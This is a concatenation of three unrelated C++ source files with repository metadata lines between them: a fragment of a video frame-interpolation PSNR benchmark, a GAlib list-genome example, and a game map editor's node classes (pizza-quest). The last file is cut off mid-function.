m_TimeDiff[k] = 0; } m_nCnt = 0; } MakeImage1DToImage2DColor(Image1D, true, nW, nH, m_CurrR, m_CurrG, m_CurrB); if(m_nFrameCnt == 0) { int y; for(y = 0 ; y < m_nH ; y++) { memcpy(m_PrevR[y], m_CurrR[y], m_nW); memcpy(m_PrevG[y], m_CurrG[y], m_nW); memcpy(m_PrevB[y], m_CurrB[y], m_nW); } } else if(m_nFrameCnt%nInterGap == 0) { if(bViewPsnr) { int y; CString Msg; double PSNR; if(nPsnrType == 0) PSNR = GetPsnrRgb(m_RefR, m_RefG, m_RefB, m_PrevR, m_PrevG, m_PrevB, m_nW, m_nH); else if(nPsnrType == 1) PSNR = GetPsnrYuv(m_RefR, m_RefG, m_RefB, m_PrevR, m_PrevG, m_PrevB, m_nW, m_nH); else if(nPsnrType == 2) PSNR = GetPsnrY(m_RefR, m_RefG, m_RefB, m_PrevR, m_PrevG, m_PrevB, m_nW, m_nH); m_Psnr[0] += PSNR; Msg.Format("Prev %5.2lf(%5.2lf)dB", PSNR, m_Psnr[0]/(m_nCnt+1)); for(y = 0 ; y < m_nH ; y++) { memcpy(m_InterR[y], m_PrevR[y], m_nW); memcpy(m_InterG[y], m_PrevG[y], m_nW); memcpy(m_InterB[y], m_PrevB[y], m_nW); } DrawTextOnImag2DGray(m_InterR, nW, nH, 0, 0, Msg, DT_LEFT, 255, true); DrawTextOnImag2DGray(m_InterG, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DrawTextOnImag2DGray(m_InterB, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DisplayCimage2DColor(m_InterR, m_InterG, m_InterB, m_nW, m_nH, 0, m_nH, false, true); if(nPsnrType == 0) PSNR = GetPsnrRgb(m_RefR, m_RefG, m_RefB, m_CurrR, m_CurrG, m_CurrB, m_nW, m_nH); else if(nPsnrType == 1) PSNR = GetPsnrYuv(m_RefR, m_RefG, m_RefB, m_CurrR, m_CurrG, m_CurrB, m_nW, m_nH); else if(nPsnrType == 2) PSNR = GetPsnrY(m_RefR, m_RefG, m_RefB, m_CurrR, m_CurrG, m_CurrB, m_nW, m_nH); m_Psnr[1] += PSNR; Msg.Format("Curr %5.2lf(%5.2lf)dB", PSNR, m_Psnr[1]/(m_nCnt+1)); for(y = 0 ; y < m_nH ; y++) { memcpy(m_InterR[y], m_CurrR[y], m_nW); memcpy(m_InterG[y], m_CurrG[y], m_nW); memcpy(m_InterB[y], m_CurrB[y], m_nW); } DrawTextOnImag2DGray(m_InterR, nW, nH, 0, 0, Msg, DT_LEFT, 255, true); DrawTextOnImag2DGray(m_InterG, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DrawTextOnImag2DGray(m_InterB, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DisplayCimage2DColor(m_InterR, m_InterG, m_InterB, m_nW, m_nH, m_nW*2, m_nH, false, true); } DisplayCimage2DColor(m_PrevR, m_PrevG, m_PrevB, m_nW, m_nH, 0, 0, false, true); DisplayCimage2DColor(m_RefR, m_RefG, m_RefB, m_nW, m_nH, m_nW, 0, false, true); DisplayCimage2DColor(m_CurrR, m_CurrG, m_CurrB, m_nW, m_nH, m_nW*2, 0, false, true); int x, y; double PSNR, TimeDiff; QueryPerformanceFrequency((LARGE_INTEGER*)&m_TimeFreq); QueryPerformanceCounter((LARGE_INTEGER*)&m_TimeStart); for(y = 0 ; y < m_nH ; y++) for(x = 0 ; x < m_nW ; x++) { m_InterR[y][x] = (m_PrevR[y][x] + m_CurrR[y][x])/2; m_InterG[y][x] = (m_PrevG[y][x] + m_CurrG[y][x])/2; m_InterB[y][x] = (m_PrevB[y][x] + m_CurrB[y][x])/2; } QueryPerformanceCounter((LARGE_INTEGER*)&m_TimeEnd); if(bViewPsnr) { CString Msg; TimeDiff = (double)(m_TimeEnd - m_TimeStart)/(double)m_TimeFreq*1000; m_TimeDiff[2] += TimeDiff; if(nPsnrType == 0) PSNR = GetPsnrRgb(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); else if(nPsnrType == 1) PSNR = GetPsnrYuv(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); else if(nPsnrType == 2) PSNR = GetPsnrY(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); m_Psnr[2] += PSNR; Msg.Format("Average %5.2lf(%5.2lf)dB\n %5.2lf(%5.2lf)ms", PSNR, m_Psnr[2]/(m_nCnt+1), TimeDiff, m_TimeDiff[2]/(m_nCnt+1)); DrawTextOnImag2DGray(m_InterR, nW, nH, 0, 0, Msg, DT_LEFT, 255, true); DrawTextOnImag2DGray(m_InterG, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DrawTextOnImag2DGray(m_InterB, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); } DisplayCimage2DColor(m_InterR, m_InterG, m_InterB, m_nW, m_nH, m_nW, m_nH, false, true); for(y = 0 ; y < m_nH ; y++) for(x = 0 ; x < m_nW ; x++) { m_InterR[y][x] =0; m_InterG[y][x] = 0; m_InterB[y][x] = 0; } QueryPerformanceFrequency((LARGE_INTEGER*)&m_TimeFreq); QueryPerformanceCounter((LARGE_INTEGER*)&m_TimeStart); if(nUseColor == 0) { GetInterFrame(m_PrevR, m_CurrR, m_InterR, m_nW, m_nH, nMask, nSearch, nGrow, nMeGap, nThreDiff==0?false:true, nThreDiff); GetInterFrame(m_PrevG, m_CurrG, m_InterG, m_nW, m_nH, nMask, nSearch, nGrow, nMeGap, nThreDiff==0?false:true, nThreDiff); GetInterFrame(m_PrevB, m_CurrB, m_InterB, m_nW, m_nH, nMask, nSearch, nGrow, nMeGap, nThreDiff==0?false:true, nThreDiff); } else if(nUseColor == 1) GetColorInterFrameByMotionY(m_PrevR, m_PrevG, m_PrevB, m_CurrR, m_CurrG, m_CurrB, m_InterR, m_InterG, m_InterB, m_nW, m_nH, nMask, nSearch, nGrow, nMeGap, nThreDiff==0?false:true, nThreDiff); QueryPerformanceCounter((LARGE_INTEGER*)&m_TimeEnd); if(bViewPsnr) { CString Msg; TimeDiff = (double)(m_TimeEnd - m_TimeStart)/(double)m_TimeFreq*1000; m_TimeDiff[3] += TimeDiff; if(nPsnrType == 0) PSNR = GetPsnrRgb(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); else if(nPsnrType == 1) PSNR = GetPsnrYuv(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); else if(nPsnrType == 2) PSNR = GetPsnrY(m_RefR, m_RefG, m_RefB, m_InterR, m_InterG, m_InterB, m_nW, m_nH); m_Psnr[3] += PSNR; Msg.Format("Proposed %5.2lf(%5.2lf)dB\n %5.2lf(%5.2lf)ms", PSNR, m_Psnr[3]/(m_nCnt+1), TimeDiff, m_TimeDiff[3]/(m_nCnt+1)); DrawTextOnImag2DGray(m_InterR, nW, nH, 0, 0, Msg, DT_LEFT, 255, true); DrawTextOnImag2DGray(m_InterG, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); DrawTextOnImag2DGray(m_InterB, nW, nH, 0, 0, Msg, DT_LEFT, 0, true); } DisplayCimage2DColor(m_InterR, m_InterG, m_InterB, m_nW, m_nH, m_nW, m_nH*2, false, true); for(y = 0 ; y < m_nH ; y++) { memcpy(m_PrevR[y], m_CurrR[y], m_nW); memcpy(m_PrevG[y], m_CurrG[y], m_nW); memcpy(m_PrevB[y], m_CurrB[y], m_nW); } m_nCnt++; } else if(m_nFrameCnt%nInterGap == nInterGap/2) { int y; for(y = 0 ; y < m_nH ; y++) { memcpy(m_RefR[y], m_CurrR[y], m_nW); memcpy(m_RefG[y], m_CurrG[y], m_nW); memcpy(m_RefB[y], m_CurrB[y], m_nW); } } m_nFrameCnt++; }
25.808696
154
0.570947
wjy5446
0db38a025b4d960d63e5b3843e6e44f3321984f6
5,223
hpp
C++
examples/ex8.hpp
s-martin/galib
2dd82ad2b7e649d7372876afbcde77925f2700ce
[ "BSD-3-Clause" ]
1
2022-02-26T00:24:52.000Z
2022-02-26T00:24:52.000Z
examples/ex8.hpp
s-martin/galib
2dd82ad2b7e649d7372876afbcde77925f2700ce
[ "BSD-3-Clause" ]
2
2021-04-14T20:39:39.000Z
2021-08-25T04:13:40.000Z
examples/ex8.hpp
s-martin/galib
2dd82ad2b7e649d7372876afbcde77925f2700ce
[ "BSD-3-Clause" ]
2
2021-04-17T22:02:44.000Z
2022-03-21T21:00:59.000Z
#pragma once #include <GASStateGA.h> #include <GAListGenome.hpp> #include <iostream> /* ---------------------------------------------------------------------------- Objective function There is no limit to the size of a list (only the memory you have on your computer). This objective function tries to build a list that contains the number 101 in all of its nodes. If we don't put some control on this objective then the list will grow without bound. So we dampen it a bit with a penalty for large size. However, this will make the score go negative, so we must use a scaling object that allows negative objective scores. We could get lists with no contents, so we have to check for that. Just make sure that head has contents. If it does, then the rest of the genome will. When we access the node contents we have to dereference the member functions. For example, we do *chrom.head() not chrom.head(). This is because the member functions return a pointer to the node's contents, not the actual contents. ---------------------------------------------------------------------------- */ float objectiveEx8(GAGenome &c) { auto &genome = (GAListGenome<int> &)c; int count = 0; if (!genome.head()) return 0; count = (*genome.head() == 101) ? 1 : 0; // move to head of the list for (int i = 1; i < genome.size(); i++) count += (*genome.next() == 101) ? 1 : 0; // check each element of the list return 5 * count - genome.size(); } /* ---------------------------------------------------------------------------- Here is the initializer for our genomes. It builds a list of n items of type int. Notice that we first destroy any list that is already in the genome before we do our initialization. This is so that the genomes can be re-used. When you re-run a GA, it does not destroy the individuals in the population - it reuses them. Thus, the initializer must make sure that the genome is cleaned up before it tries to initialize it. ---------------------------------------------------------------------------- */ void ListInitializer(GAGenome &c) { auto &child = (GAListGenome<int> &)c; while (child.head()) child.destroy(); // destroy any pre-existing list int n = 75; child.insert(100, GAListBASE::HEAD); for (int i = 0; i < n; i++) child.insert(i + 100); for (int j = 0; j < n; j++) child.swap(GARandomInt(0, n - 1), GARandomInt(0, n - 1)); } // Here we specialize the write method for the List class. This lets us see // exactly what we want (the default write method dumps out pointers to the // data rather than the data contents). // This routine prints out the contents of each element of the list, // separated by a space. It does not put a newline at the end of the list. // Notice that you can specialize ANY function of a template class, but // some compilers are more finicky about how you do it than others. For the // metrowerks compiler this specialization must come before the forced // instantiation. template <> int GAListGenome<int>::write(std::ostream &os) const { int *cur, *head; GAListIter<int> tmpiter(*this); if ((head = tmpiter.head()) != nullptr) os << *head << " "; for (cur = tmpiter.next(); cur && cur != head; cur = tmpiter.next()) os << *cur << " "; return os.fail() ? 1 : 0; } GAListGenome<int> ex8() { // Create the initial genome for the genetic algorithm to use. Set the // initializer and mutation before we make the genetic algorithm. GAListGenome<int> genome(objectiveEx8); genome.initializer(ListInitializer); // genome.mutator(GAListGenome<int>::SwapMutator); genome.mutator(GAListGenome<int>::DestructiveMutator); // Now that we have a genome, we use it to create our GA. After creating // the GA we set the parameters and tell the GA to use sigma truncation // scaling rather than the default (linear scaling). Set the crossover to // single point crossover. The genetic algorithm handles crossover since // genomes don't know about other genomes. We could set the crossover on // the genome if we wanted - either way will work. GASteadyStateGA ga(genome); GASigmaTruncationScaling scale; ga.scaling(scale); ga.crossover(GAListGenome<int>::OnePointCrossover); // Set the default parameters we want to use, then check the command line // for other arguments that might modify these. ga.set(gaNpopulationSize, 40); // population size ga.set(gaNpCrossover, 0.6); // probability of crossover ga.set(gaNpMutation, 0.05); // probability of mutation ga.set(gaNnGenerations, 50); // number of generations ga.set(gaNscoreFrequency, 1); // how often to record scores ga.set(gaNflushFrequency, 10); // how often to dump scores to file ga.set(gaNselectScores, // which scores should we track? GAStatistics::Maximum | GAStatistics::Minimum | GAStatistics::Mean); ga.set(gaNscoreFilename, "bog.dat"); // TODO ga.parameters(argc, argv); // Evolve the genetic algorithm then dump out the results of the run. ga.evolve(); genome = ga.statistics().bestIndividual(); // std::cout << "the ga generated the list:\n" << genome << "\n"; std::cout << "the list contains " << genome.size() << " nodes\n"; std::cout << "the ga used the parameters:\n" << ga.parameters() << "\n"; return genome; }
43.165289
79
0.671836
s-martin
0db6daee93a41c7bf32c466ec083b6b29cd95a08
19,244
cpp
C++
source/editor/PQMapNode.cpp
nicolasjinchereau/pizza-quest
5b9d15ea78f4d7cbb97b3e89efe858025aea8c95
[ "MIT" ]
null
null
null
source/editor/PQMapNode.cpp
nicolasjinchereau/pizza-quest
5b9d15ea78f4d7cbb97b3e89efe858025aea8c95
[ "MIT" ]
null
null
null
source/editor/PQMapNode.cpp
nicolasjinchereau/pizza-quest
5b9d15ea78f4d7cbb97b3e89efe858025aea8c95
[ "MIT" ]
null
null
null
/*--------------------------------------------------------------------------------------------- * Copyright (c) Nicolas Jinchereau. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ #include "pqmapnode.h" GL_SpritePtr PQResSound::img; /***************************** PQ NODE *****************************/ PQNode::PQNode(Uint8 type) : type(type) { } PQNode::PQNode(const PQNode &that) { this->type = that.type; } PQNode::~PQNode() { } void PQNode::Swap(Undoable *object) { PQNode &obj = *(PQNode*)object; SWAP<Uint8>(this->type, obj.type); } /***************************** PQ RESOURCE *****************************/ PQResource::PQResource(Uint8 type) : PQNode(type) { memset(source_file, 0, sizeof(source_file)); memset(resource_name, 0, sizeof(resource_name)); memset(class_id, 0, sizeof(class_id)); tmpIndex = -1; } PQResource::PQResource(const PQResource &that) : PQNode(that) { memcpy(this->source_file, that.source_file, sizeof(source_file)); memcpy(this->resource_name, that.resource_name, sizeof(resource_name)); memcpy(this->class_id, that.class_id, sizeof(class_id)); this->tmpIndex = that.tmpIndex; } PQResource::~PQResource() { } void PQResource::Swap(Undoable *object) { PQNode::Swap(object); PQResImage &obj = *(PQResImage*)object; char tmp[260]; memcpy(tmp, obj.source_file, sizeof(source_file)); memcpy(obj.source_file, this->source_file, sizeof(source_file)); memcpy(this->source_file, tmp, sizeof(source_file)); memcpy(tmp, obj.resource_name, sizeof(resource_name)); memcpy(obj.resource_name, this->resource_name, sizeof(resource_name)); memcpy(this->resource_name, tmp, sizeof(resource_name)); memcpy(tmp, obj.class_id, sizeof(class_id)); memcpy(obj.class_id, this->class_id, sizeof(class_id)); memcpy(this->class_id, tmp, sizeof(class_id)); } void PQResource::SetResourceName(const char *resource_name) { strcpy_s(this->resource_name, resource_name); } void PQResource::SetClassID(const char *class_id) { strcpy_s(this->class_id, class_id); } /***************************** PQ RES IMAGE *****************************/ PQResImage::PQResImage(string sourceFile, string resourceName, string classID, Uint16 nRows, Uint16 nCols) : PQResource(N_RES_IMAGE) { // copy all the initial resource data strcpy_s(source_file, sourceFile.c_str()); strcpy_s(resource_name, resourceName.c_str()); strcpy_s(class_id, classID.c_str()); // image resource properties this->nRows = nRows; this->nCols = nCols; // open the resource image if(string(source_file) != "") { img.reset( new GL_Sprite(source_file) ); img->SetNumRows(nRows); img->SetNumCols(nCols); } else { img.reset( new GL_Sprite(IDB_MISSING) ); } // initialize all the properties given out to new nodes newRow = 0; newCol = 0; newAngle = 0; newScale = 1.0f; newValue1 = 0; newValue2 = 0; } PQResImage::PQResImage(const PQResImage &that) : PQResource(that) { this->nRows = that.nRows; this->nCols = that.nCols; this->collision_shapes = that.collision_shapes; this->img = that.img; this->newRow = that.newRow; this->newCol = that.newCol; this->newAngle = that.newAngle; this->newScale = that.newScale; this->newValue1 = that.newValue1; this->newValue2 = that.newValue2; } PQResImage::~PQResImage() { } Undoable *PQResImage::GetCopy() { return new PQResImage(*this); } void PQResImage::Swap(Undoable *object) { PQResource::Swap(object); PQResImage &obj = *(PQResImage*)object; SWAP<Uint16>(this->nRows, obj.nRows); SWAP<Uint16>(this->nCols, obj.nCols); SWAP< vector<PQB2ShapePtr> >(this->collision_shapes, obj.collision_shapes); SWAP<GL_SpritePtr>(this->img, obj.img); SWAP<Uint8>(this->newRow, obj.newRow); SWAP<Uint8>(this->newCol, obj.newCol); SWAP<float>(this->newAngle, obj.newAngle); SWAP<float>(this->newScale, obj.newScale); SWAP<Int16>(this->newValue1, obj.newValue1); SWAP<Int16>(this->newValue2, obj.newValue2); } void PQResImage::SetSourceFile(const char *sourceFile) { // copy the resource filename strcpy_s(source_file, sizeof(source_file), sourceFile); // load image img.reset( new GL_Sprite(source_file) ); // set current image properties img->SetNumRows(nRows); img->SetNumCols(nCols); } long PQResImage::GetDataSize() { return sizeof(Uint8) + // type sizeof(source_file) + sizeof(resource_name) + sizeof(class_id) + sizeof(Uint16) + // rows sizeof(Uint16); // columns } void PQResImage::Draw(GL_Screen *dest, float x, float y, Uint8 Row, Uint8 Col, float Scale, float Angle, float shade, float alpha) { //if(img) //{ img->SetPos(x, y); img->SetScale(Scale); img->SetAngle(Angle); img->SetRow(Row); img->SetColumn(Col); img->Draw(dest, NULL, shade, alpha); //} //else //{ // const float w = 100 * Scale; // const float h = 100 * Scale; // Rect<float> rcMissing(x, y, 100 * Scale, 100 * Scale); // GL_FillRect(dest, &rcMissing, Color(255, 0, 0)); //} } void PQResImage::DrawThumb(GL_Screen *dest) { float sx; float sy; int border = 5; //if(img) //{ sx = (float)(dest->GetWidth() - (2 * border)) / (float)img->GetWidth(); sy = (float)(dest->GetHeight() - (2 * border)) / (float)img->GetHeight(); //} //else //{ // sx = (float)(dest->GetWidth() - (2 * border)) / 100.0f; // sy = (float)(dest->GetHeight() - (2 * border)) / 100.0f; //} float scale = MIN(sx, sy); float hx = (float)dest->GetWidth() / 2.0f; float hy = (float)dest->GetHeight() / 2.0f; Draw(dest, hx, hy, newRow, newCol, scale, newAngle); for(int i = 0; i < (int)collision_shapes.size(); i++) collision_shapes[i]->Draw(dest, hx, hy, scale); } /***************************** PQ RES SOUND *****************************/ PQResSound::PQResSound(string sourceFile, string resourceName, string classID) : PQResource(N_RES_SOUND) { strcpy_s(source_file, sourceFile.c_str()); strcpy_s(resource_name, resourceName.c_str()); strcpy_s(class_id, classID.c_str()); // load the speaker for the thumbnail if( !img ) img.reset( new GL_Sprite(IDB_SOUND) ); // initialize all the properties given out to new nodes newVolume = 1.0f; newLoop = false; newDelay = 0; newTriggerRadius = 75; } PQResSound::PQResSound(const PQResSound &that) : PQResource(that) { // img must already be loaded if copy ctor is being called this->newVolume = that.newVolume; this->newLoop = that.newLoop; this->newDelay = that.newDelay; this->newTriggerRadius = that.newTriggerRadius; } PQResSound::~PQResSound() { } Undoable *PQResSound::GetCopy() { return new PQResSound(*this); } void PQResSound::Swap(Undoable *object) { PQResource::Swap(object); PQResSound &obj = *(PQResSound*)object; SWAP<float>( this->newVolume, obj.newVolume ); SWAP<bool>( this->newLoop, obj.newLoop ); SWAP<int>( this->newDelay, obj.newDelay ); SWAP<int>( this->newTriggerRadius, obj.newTriggerRadius ); } void PQResSound::SetSourceFile(const char *sourceFile) { // delete currently loaded sound //... // copy the resource filename strcpy_s(this->source_file, sourceFile); // load sound //... // set current sound properties //... } long PQResSound::GetDataSize() { return sizeof(Uint8); // type } void PQResSound::Draw(GL_Screen *dest, float x, float y, Uint8 Row, Uint8 Col, float Scale, float Angle, float shade, float alpha) { img->SetPos(x, y); img->SetScale(Scale); img->SetAngle(Angle); img->SetRow(Row); img->SetColumn(Col); img->Draw(dest, NULL, shade, alpha); } void PQResSound::DrawThumb(GL_Screen *dest) { float hx = (float)dest->GetWidth() / 2.0f; float hy = (float)dest->GetHeight() / 2.0f; Draw(dest, hx, hy, 0, 0, 1.0f, 0); } /***************************** PQ MAP NODE *****************************/ PQMapNode::PQMapNode(Uint8 type) : PQNode(type) { res.reset(); selected = false; resIndex = 255; } PQMapNode::PQMapNode(const PQMapNode &that) : PQNode(that) { this->position = that.position; this->res = that.res; this->rect = that.rect; this->selected = that.selected; } void PQMapNode::Swap(Undoable *object) { PQNode::Swap(object); PQMapNode &obj = *(PQMapNode*)object; SWAP< Vec2<float> >( this->position, obj.position ); SWAP<PQResourcePtr>( this->res, obj.res ); SWAP< Rect<float> >( this->rect, obj.rect ); SWAP<bool>( this->selected, obj.selected ); } /***************************** PQ MAP IMAGE *****************************/ PQMapImage::PQMapImage(PQResourcePtr &resource) : PQMapNode(N_MAP_IMAGE) { PQResImagePtr rImg = dynamic_pointer_cast<PQResImage>(resource); // cannot create a node with no resource assert( rImg ); this->res = resource; this->row = rImg->newRow; this->col = rImg->newCol; this->angle = rImg->newAngle; this->scale = rImg->newScale; this->value1 = rImg->newValue1; this->value2 = rImg->newValue2; CalcRect(); } PQMapImage::PQMapImage(const PQMapImage &that) : PQMapNode(that) { this->row = that.row; this->col = that.col; this->angle = that.angle; this->scale = that.scale; this->value1 = that.value1; this->value2 = that.value2; } PQMapImage::~PQMapImage() { } Undoable *PQMapImage::GetCopy() { return new PQMapImage(*this); } void PQMapImage::Swap(Undoable *object) { PQMapNode::Swap(object); PQMapImage &obj = *(PQMapImage*)object; SWAP<Uint8>( this->row, obj.row ); SWAP<Uint8>( this->col, obj.col ); SWAP<float>( this->angle, obj.angle ); SWAP<float>( this->scale, obj.scale ); SWAP<Int16>( this->value1, obj.value1 ); SWAP<Int16>( this->value2, obj.value2 ); } void PQMapImage::CalcRect() { PQResImagePtr rImg = dynamic_pointer_cast<PQResImage>(res); if(rImg->img) { // adjust the rect based on this node's properties rect.w = (float)rImg->img->GetWidth() * scale; rect.h = (float)rImg->img->GetHeight() * scale; rect.x = position.x - (rect.w * 0.5f); rect.y = position.y - (rect.h * 0.5f); } return; } long PQMapImage::GetDataSize() { return sizeof(Uint8) + // type sizeof(Uint8) + // resIndex sizeof(Vec2<float>) + // position sizeof(Uint8) + // row sizeof(Uint8) + // col sizeof(float) + // angle sizeof(float) + // scale sizeof(Int16) + // value1 sizeof(Int16); // value2 } void PQMapImage::Draw(GL_Screen *screen, float offset_x, float offset_y, float shade, float alpha) { CalcRect(); res->Draw(screen, position.x + offset_x, position.y + offset_y, row, col, scale, angle, shade, alpha); } void PQMapImage::DrawThumb(GL_Screen *dest) { if(res) res->DrawThumb(dest); } void PQMapImage::SetPosition(float x, float y) { position.x = x; position.y = y; CalcRect(); } void PQMapImage::SetPosition(const Vec2<float> &position) { this->position = position; CalcRect(); } void PQMapImage::Move(float offset_x, float offset_y) { position.x += offset_x; position.y += offset_y; rect.x += offset_x; rect.y += offset_y; } PQMapNodePtr PQMapImage::Copy() { return PQMapNodePtr( new PQMapImage(*this) ); } /***************************** PQ MAP SOUND *****************************/ PQMapSound::PQMapSound(PQResourcePtr &resource) : PQMapNode(N_MAP_SOUND) { PQResSoundPtr rSnd = dynamic_pointer_cast<PQResSound>(resource); // cannot create a node with no resource assert( rSnd ); this->res = resource; this->volume = rSnd->newVolume; this->loop = rSnd->newLoop; this->delay = rSnd->newDelay; this->triggerRadius = rSnd->newTriggerRadius; CalcRect(); } PQMapSound::PQMapSound(const PQMapSound &that) : PQMapNode(that) { this->volume = that.volume; this->loop = that.loop; this->delay = that.delay; this->triggerRadius = that.triggerRadius; } PQMapSound::~PQMapSound() { } Undoable *PQMapSound::GetCopy() { return new PQMapSound(*this); } void PQMapSound::Swap(Undoable *object) { PQMapNode::Swap(object); PQMapSound &obj = *(PQMapSound*)object; SWAP<float>( this->volume, obj.volume ); SWAP<bool>( this->loop, obj.loop ); SWAP<int>( this->delay, obj.delay ); SWAP<int>( this->triggerRadius, obj.triggerRadius ); } long PQMapSound::GetDataSize() { return sizeof(Uint8) + // type sizeof(Uint8) + // resIndex sizeof(Vec2<float>) + // position sizeof(float) + // volume sizeof(bool) + // loop sizeof(int) + // delay sizeof(int); // triggerRadius } void PQMapSound::Draw(GL_Screen *screen, float offset_x, float offset_y, float shade, float alpha) { res->Draw(screen, position.x + offset_x, position.y + offset_y, 0, 0, 1.0f, 0, shade, alpha); if(triggerRadius > 0) { const Uint8 C = (Uint8)(shade * 255.0f); const Uint8 A = (Uint8)(alpha * 255.0f); GL_DrawCircle(screen, Vec2<float>(position.x + offset_x, position.y + offset_y), (float)triggerRadius, Color(0, C, 0, A), 2.0f); } CalcRect(); } void PQMapSound::DrawThumb(GL_Screen *dest) { if(res) res->DrawThumb(dest); } void PQMapSound::CalcRect() { PQResSoundPtr rSnd = dynamic_pointer_cast<PQResSound>(res); // adjust the rect based on this node's properties rect.w = (float)rSnd->img->GetWidth(); rect.h = (float)rSnd->img->GetHeight(); rect.x = position.x - (rect.w / 2.0f); rect.y = position.y - (rect.h / 2.0f); } void PQMapSound::SetPosition(float x, float y) { position.x = x; position.y = y; CalcRect(); } void PQMapSound::SetPosition(const Vec2<float> &position) { this->position = position; CalcRect(); } void PQMapSound::Move(float offset_x, float offset_y) { position.x += offset_x; position.y += offset_y; rect.x += offset_x; rect.y += offset_y; } PQMapNodePtr PQMapSound::Copy() { return PQMapNodePtr( new PQMapSound(*this) ); } /***************************** PQ GRAPH NODE *****************************/ PQGraphNode::PQGraphNode(float x, float y, Uint8 type) : PQMapNode(type), radius(6.0f) { SetPosition(x, y); isDestination = false; } PQGraphNode::PQGraphNode(const PQGraphNode &that) : PQMapNode(that), radius(6.0f) { this->neighbours = that.neighbours; this->isDestination = that.isDestination; } PQGraphNode::~PQGraphNode() { } void PQGraphNode::Swap(Undoable *object) { PQMapNode::Swap(object); PQGraphNode &obj = *(PQGraphNode*)object; SWAP< vector<PQGraphNodePtr> >( this->neighbours, obj.neighbours ); SWAP<bool>(this->isDestination, obj.isDestination); } void PQGraphNode::TraceNeighbours(GL_Screen *dest, const Rect<float> &viewRect) { PQGraphNodePtr node; for(GNodeIter it = neighbours.begin(); it != neighbours.end(); it++) { node = (*it); const Vec2<float> &p1 = position; const Vec2<float> &p2 = node->position; if(viewRect.PointInside(p1.x, p1.y) || viewRect.PointInside(p2.x, p2.y)) { GL_DrawLine(dest, this->position, node->position, GREENCOLOR); } } } bool PQGraphNode::AddNeighbour(PQGraphNodePtr &neighbour) { bool addNeighbour = true; for(size_t i = 0; i < neighbours.size(); i++) { if(neighbour == neighbours[i]) { addNeighbour = false; break; } } if(addNeighbour) neighbours.push_back(neighbour); return addNeighbour; } bool PQGraphNode::RemoveNeighbour(PQGraphNodePtr &neighbour) { bool removedNeighbour = false; for(size_t i = 0; i < neighbours.size(); i++) { if(neighbours[i] == neighbour) { neighbours.erase(neighbours.begin() + i); removedNeighbour = true; break; } } return removedNeighbour; } bool PQGraphNode::DisconnectAll() { if(neighbours.size() > 0) { // go through own neighbours for(size_t i = 0; i < neighbours.size(); i++) { // check if neighbouur is connected to this node for(size_t j = 0; j < neighbours[i]->neighbours.size(); j++) { if(neighbours[i]->neighbours[j].get() == this) { // erase self from other node's neighbours neighbours[i]->neighbours.erase( neighbours[i]->neighbours.begin() + j); break; } } } neighbours.clear(); return true; } return false; } bool PQGraphNode::DisconnectSelected() { bool neighboursChanged = false; if(neighbours.size() > 0 && selected == true) { // go through own neighbours size_t i = 0; size_t numNeighbours = neighbours.size(); bool nodeRemoved; while(i < numNeighbours) { nodeRemoved = false; if(neighbours[i]->selected == true) { // erase self from all selected neighbours for(size_t j = 0; j < neighbours[i]->neighbours.size(); j++) { if(neighbours[i]->neighbours[j].get() == this) { neighbours[i]->neighbours.erase( neighbours[i]->neighbours.begin() + j); break; } } neighbours.erase(neighbours.begin() + i); nodeRemoved = true; } if(nodeRemoved) { numNeighbours--; neighboursChanged = true; } else { i++; } } } return neighboursChanged; } long PQGraphNode::GetDataSize() { return 0; } void PQGraphNode::CalcRect() { rect.x = position.x - radius; rect.y = position.y - radius; rect.w = radius + radius; rect.h = radius + radius; } void PQGraphNode::SetPosition(float x, float y) { position.set(x, y); CalcRect(); } void PQGraphNode::Move(float offset_x, float offset_y) { position.x += offset_x; position.y += offset_y; CalcRect(); } /***************************** PQ PEDESTRIAN GRAPH NODE *****************************/ PQPedGraphNode::PQPedGraphNode(float x, float y) : PQGraphNode(x, y, N_PED_GRAPH_NODE) { } PQPedGraphNode::PQPedGraphNode(const PQPedGraphNode &that) : PQGraphNode(that) { } PQPedGraphNode::~PQPedGraphNode() { } Undoable *PQPedGraphNode::GetCopy() { return new PQPedGraphNode(*this); } void PQPedGraphNode::Swap(Undoable *object) { PQGraphNode::Swap(object); } long PQPedGraphNode::GetDataSize() { return 0; } void PQPedGraphNode::Draw(GL_Screen *dest, const Rect<float> &viewRect, float shade, float alpha) { if( !viewRect.PointInside(position.x, position.y) ) return; if(isDestination) { Color backColor(0, 162, 232); GL_FillCircle(dest, position, radius + 3, backColor); } Color clr; if(this->selected && alpha == 1.0f) clr.SetF(shade, shade, shade, alpha); // white else clr.SetF(shade, shade, 0.0f, alpha); // yellow GL_FillCircle(dest, position, radius, clr); } PQMapNodePtr PQPedGraphNode::Copy() { return PQMapNodePtr( new PQPedGraphNode(*this) ); } /***************************** PQ VEHICLE GRAPH NODE *****************************/ PQVehGraphNode::PQVehGraphNode(float x, float y) : PQGraphNode(x, y, N_VEH_GRAPH_NODE) { } PQVehGraphNode::PQVehGraphNode(const PQVehGraphNode &that) : PQGraphNode(that) { } PQVehGraphNode::~PQVehGraphNode() { } Undoable *PQVehGraphNode::GetCopy() { return new PQVehGraphNode(*this); } void PQVehGraphNode::Swap(Undoable *object) { PQGraphNode::Swap(object); } long PQVehGraphNode::GetDataSize() { return 0; } void PQVehGraphNode::Draw(GL_Screen *dest, const Rect<float> &viewRect, float shade, float alpha) { if( !viewRect.PointInside(position.x, position.y) ) return; if(isDestination) { Color backColor(0, 162, 232); GL_FillCircle(dest, position, radius + 3, backColor); } Color clr; if(this->selected && alpha == 1.0f) clr.SetF(shade, shade, shade, alpha); // white else clr.SetF(shade, 0.0f, 0.0f, alpha); // red GL_FillCircle(dest, position, radius, clr); } PQMapNodePtr PQVehGraphNode::Copy() { return 